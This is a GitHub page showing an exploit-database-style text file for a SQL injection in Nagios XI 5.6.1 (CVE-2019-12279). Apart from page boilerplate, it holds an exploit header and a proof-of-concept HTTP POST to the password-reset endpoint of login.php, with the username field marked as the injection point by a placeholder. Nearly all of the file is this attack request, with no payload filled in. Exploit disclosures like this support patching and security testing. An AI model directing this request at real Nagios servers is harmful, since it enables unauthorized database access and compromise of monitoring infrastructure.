Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
exploits/nagiosxi username sql injection.txt
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
25 lines (23 sloc)
948 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Exploit Title: Nagiosxi username sql injection | |
| # Date: 22/05/2019 | |
| # Exploit Author: JameelNabbo | |
| # Website: jameelnabbo.com | |
| # Vendor Homepage: https://www.nagios.com | |
| # Software Link: https://www.nagios.com/products/nagios-xi/ | |
| # Version: xi-5.6.1 | |
| # Tested on: MacOSX | |
| # CVE: CVE-2019-12279 | |
| POC: | |
| POST /nagiosxi/login.php?forgotpass HTTP/1.1 | |
| Host: example.com | |
| User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Referer: https://example.com/nagiosxi/login.php?forgotpass | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 129 | |
| Connection: close | |
| Cookie: nagiosxi=iu78vcultg46f35fq7lfbv8tc6 | |
| Upgrade-Insecure-Requests: 1 | |
| page=%2Fnagiosxi%2Flogin.php&pageopt=resetpass&nsp=cb6ad70efd0cc0b36ff4fc1d67cd70fb96a7e06622d281acb8810aa65485b03b&username={SQL INJECTION} |